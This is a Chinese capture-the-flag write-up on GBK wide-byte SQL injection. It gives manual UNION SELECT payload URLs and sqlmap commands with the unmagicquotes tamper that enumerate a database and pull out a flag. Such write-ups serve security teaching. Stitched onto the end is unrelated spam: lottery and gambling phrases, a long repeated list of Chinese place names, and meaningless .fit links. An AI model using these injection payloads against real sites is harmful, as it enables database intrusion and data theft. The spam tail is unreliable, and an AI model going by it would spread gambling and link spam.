(宽字节注入) 手注+sqlmap

      进入题目后先简单尝试一下。

      分享图片

       

      很明显的宽字节注入。

      宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码.

      手工注入
      1、判断列数:
      http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 1%23
      http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 2%23
      http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 3%23
      order by 3 时报错,说明只有两列。

      2、各类信息:
      http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
      union select 2,(concat_ws(char(32,58,32),user(),database(),version()))%23
      [email protected] : sae-chinalover : 5.5.52-0ubuntu0.14.04.1

      3、库名:
      http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 union select 2,database()%23
      sae-chinalover

      4、表名:
      http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
      union select 2,group_concat(table_name)
      from information_schema.tables
      where table_schema=database()%23
      ctf,ctf2,ctf3,ctf4,news

      5、ctf4表的列名:
      http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
      union select 2,group_concat(column_name)
      from information_schema.columns
      where table_name=0x63746634%23
      id,flag

      这里注意:要将表名ctf4转为16进制

      这里提供一个字符串转16进制的网站:

      http://www.5ixuexiwang.com/str/hex.php

      转了16进制之后记得在前面加上0x

      6、flag列的数据:
      http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
      union select 2,(select flag from ctf4)%23
      flag{this_is_sqli_flag}

      sqlmap跑法
      1、查看有哪些库:
      sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes --dbs
      这个时侯就要用到一个脚本了:

      脚本名:unmagicquotes.py

      作用:宽字符绕过

      分享图片

       

       

      2、表名:

      sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` --tables

      分享图片

       

       

      3、列名:

      sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 --columns

       分享图片

       

       

      4、flag列的数据:
      sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 -C flag

      分享图片

      相关文章
      相关标签/搜索
      今期管家婆大图 玄机图香港挂牌正版彩图六合彩资料大全香港马会资料白小姐中特玄机香港挂牌之全篇 循化| 时尚| 墨脱县| 虞城县| 大安市| 台中县| 息烽县| 阳城县| 长泰县| 阿城市| 石景山区| 四子王旗| 柳河县| 抚远县| 金乡县| 宁化县| 榕江县| 惠水县| 冀州市| 水富县| 财经| 扎兰屯市| 信宜市| 赤壁市| 江安县| 田阳县| 武冈市| 浦东新区| 玉山县| 英超| 瑞丽市| 宜兴市| 周口市| 商南县| 保山市| 丰县| 界首市| 同江市| 广灵县| 尉犁县| 仲巴县| 阿坝| 镇远县| 吴江市| 鲁山县| 盐津县| 加查县| 辛集市| 纳雍县| 三江| 阿鲁科尔沁旗| 梅河口市| 湖南省| 天等县| 娄烦县| 固始县| 潜山县| 大埔县| 米泉市| 马鞍山市| 河间市| 南昌县| 五莲县| 永泰县| 饶河县| 灵寿县| 察哈| 台南县| 乡城县| 咸宁市| 沧州市| 冷水江市| 岐山县| 依兰县| 咸丰县| 甘孜县| 宁强县| 富源县| 保定市| 于都县| 土默特左旗| 淮滨县| 兰西县| 兴海县| 玉林市| 彰武县| 阿鲁科尔沁旗| 鄂州市| 六枝特区| 威信县| 承德县| 新巴尔虎左旗| 开封市| 万山特区| 密山市| 阳曲县| 黔江区| 松原市| 杭州市| 长顺县| 商都县| 淮阳县| 商城县| 富蕴县| 宿松县| 婺源县| 宁波市| 东明县| 开封县| 安义县| 依兰县| 广西| 大港区| 青海省| 易门县| 遂昌县| 泾阳县| 唐海县| 闽清县| 武穴市| 夏河县| 读书| 兴安县| 富顺县| 三台县| 三亚市| 仁化县| 台前县| 淮安市| 廊坊市| 荔浦县| 房产| 阿荣旗| 简阳市| 福贡县| 综艺| 彭水| 会东县| 筠连县| 五莲县| 南靖县| 文安县| 周至县| 高要市| 平谷区| 南充市| 调兵山市| 滦平县| 横峰县| 临漳县| 凌海市| 济阳县| 郑州市| 武汉市| 建始县| 清远市| 博罗县| 新野县| 多伦县| 陇西县| 柳江县| 永泰县| 曲沃县| 清镇市| 澄江县| 大同县| 瑞金市| 绥江县| 平山县| 琼中| 岳池县| 永宁县| 涟源市| 长兴县| 宁海县| 中西区| 沂南县| 沙雅县| 都昌县| 甘德县| 交城县| 安岳县| 岐山县| 镶黄旗| 汾西县| 武强县| 绥中县| 汾西县| 和硕县| 凌云县| 来安县| 沙湾县| 巴南区| 扎兰屯市| 来安县| 萨迦县| 田阳县| 琼中| 横山县| 大同市| 高淳县| 寻乌县| 忻州市| 塘沽区| 兴海县| 丹寨县| 驻马店市| 宁强县| 浮梁县| 遵化市| 方城县| 水富县| 东丰县| 鄄城县| 和田市| 连南| 黄大仙区| 墨脱县| 锡林浩特市| 沈阳市| 定日县| 合作市| 湄潭县| 田林县| 濮阳县| 玉屏| 鸡东县| 高雄县| 岳池县| 枣强县| 宁南县| 兴海县| 桃园县| 安溪县| 安龙县| 曲靖市| 洛川县| 会宁县| 蓬安县| 浦城县| 新乐市| 巴南区| 滦平县| 双流县| 兴安盟| 延川县| 阜南县| 浦北县| 临汾市| 和林格尔县| 桂林市| 苍溪县| 临洮县| 交口县| 丰台区| 沿河| 遂川县| 彰化县| 延安市| 云霄县| 永济市| 乌恰县| 绍兴市| 遂溪县| 高陵县| 卓尼县| 延川县| 武功县| 临高县| 随州市| 建宁县| 常熟市| 朔州市| 墨竹工卡县| 石屏县| 綦江县| 观塘区| 溧阳市| 周口市| 湖北省| 贡嘎县| 临漳县| 宜丰县| 彭泽县| 汕尾市| 龙游县| 互助| 慈溪市| 肇东市| 湟源县| 邓州市| 泰宁县| 龙胜| 侯马市| 西平县| 子长县| 句容市| 灵山县| 邢台市| 溧阳市| 松江区| 阳曲县| 丰台区| 布尔津县| 琼结县| 独山县| 章丘市| 定边县| 郑州市| 岐山县| 嘉义市| 通城县| 都匀市| 科技| 贵定县| 惠水县| 商都县| 大名县| 宜兰县| 错那县| 南安市| 邳州市| 海兴县| 客服| 台州市| 临夏市| 吉安市| 万州区| 务川| 应用必备| 五寨县| 新泰市| 凌云县| 玉山县| 浮梁县| 永安市| 嘉兴市| 本溪市| 五大连池市| 余姚市| 和静县| 古蔺县| 承德市| 日照市| 林西县| 扶沟县| 镶黄旗| 彭泽县| 灵宝市| 宜州市| 衡阳县| 梅州市| 开封县| 分宜县| 大连市| 东城区| 临桂县| 柘荣县| 晋中市| 漯河市| 汾阳市| 衡南县| 格尔木市| 枞阳县| 泌阳县| 大新县| 荥经县| 乌苏市| 甘肃省| 炉霍县| 祥云县| 赤壁市| 余干县| 商都县| 门源| 吉林市| 金沙县| 正镶白旗| 凤阳县| 宁乡县| 万源市| 西盟| 札达县| 三台县| 工布江达县| 灵寿县| 博客| 乐业县| 抚远县| 舟曲县| 曲靖市| 嘉鱼县| 涡阳县| 海兴县| 沾化县| 犍为县| 大化| 松原市| 新乡县| 大足县| 萨迦县| 天气| 碌曲县| 申扎县| 六盘水市| 利川市| 施秉县| 沅江市| 邯郸县| 丁青县| 宝山区| 永州市| 博乐市| 逊克县| 昭觉县| 图木舒克市| 仪陇县| 峨眉山市| 山丹县| 平利县| 榆林市| 大姚县| 岳阳县| 土默特右旗| 塘沽区| 合山市| 赣榆县| 沙雅县| 肇州县| 武宣县| 历史| 连山| 吉木乃县| 沙湾县| 彰化市| 英吉沙县| 寻甸| 登封市| 全椒县| 邢台市| 策勒县| 合阳县| 新乡市| 桐乡市| 昭苏县| 汉寿县| 阳城县| 夏津县| 湟中县| 高清| 前郭尔| 鄂托克前旗| 丽水市| 太湖县| 友谊县| 天长市| 克东县| 汤原县| 石嘴山市| 花垣县| 黑山县| 五指山市| 乐安县| 蒙自县| 灌云县| 云南省| 措美县| 志丹县| 道真| 建水县| 金塔县| 威宁| 和田县| 花莲县| 措美县| 息烽县| 崇义县| 酉阳| 齐齐哈尔市| 绥棱县| 民县| 云南省| 朝阳区| 建瓯市| 开江县| 阳泉市| 车险| 东乡族自治县| 合作市| 色达县| 慈利县| 宣化县| 蒙自县| 禹城市| 灌南县| 洛川县| 滕州市| 徐水县| 德庆县| 广灵县| 达州市| 河北区| 永修县| 遂溪县| 唐海县| 固安县| 丰宁| 仁化县| 枝江市| 佳木斯市| 大兴区| 南部县| 勃利县| 乌鲁木齐县| 永福县| 银川市| 宁阳县| 济源市| 喀什市| 稷山县| 喀喇沁旗| 邹城市| 遂溪县| 龙岩市| 大连市| 达日县| 平罗县| 隆昌县| 汝阳县| 靖宇县| 湘西| 嘉鱼县| 宝应县| 柞水县| 阳信县| 贵港市| 紫阳县| 辽宁省| 太仓市| 绥芬河市| 九龙坡区| 平昌县| 禄丰县| 平昌县| 吉水县| 丰原市| 舞钢市| 海伦市| 奇台县| 龙南县| 铜川市| 鲁山县| 河池市| 额尔古纳市| 龙川县| 腾冲县| 赤水市| 枣阳市| 靖西县| 罗江县| 洞口县| 南平市| 沧州市| 镇康县| 平舆县| 藁城市| 南充市| 视频| 望奎县| 营山县| 萨迦县| 连山| 丰原市| 肃宁县| 涞源县| 河西区| 汪清县| 乌审旗| 吉隆县| 许昌市| 宣化县| 林芝县| 兴宁市| 多伦县| 太康县| 隆德县| 桦南县| 丹江口市| 中宁县| 锡林浩特市| 崇左市| 青海省| 武功县| 台南县| 静宁县| 陆良县| 新蔡县| 建瓯市| 张家口市| 三江| 乌兰察布市| 庄浪县| 扬州市| 广汉市| 弥渡县| 西盟| 兴和县| 鹤峰县| 荆门市| 锦屏县| 彭阳县| 原平市| 喀喇沁旗| 乾安县| 阿图什市| http://crxgqs.fit http://wap.viumbi.fit http://wap.brjjer.fit http://unlosy.fit http://www.ioqipe.fit http://www.uhcndw.fit http://m.ravlvf.fit http://www.wlqlgt.fit http://m.hcwryu.fit http://www.zquhlu.fit http://m.lpyeqb.fit http://www.poqzbx.fit http://m.jnudmh.fit http://www.nreett.fit http://m.bm1961xasterz.fit http://m.eytjli.fit http://wap.jeqvtd.fit http://m.zpqcwr.fit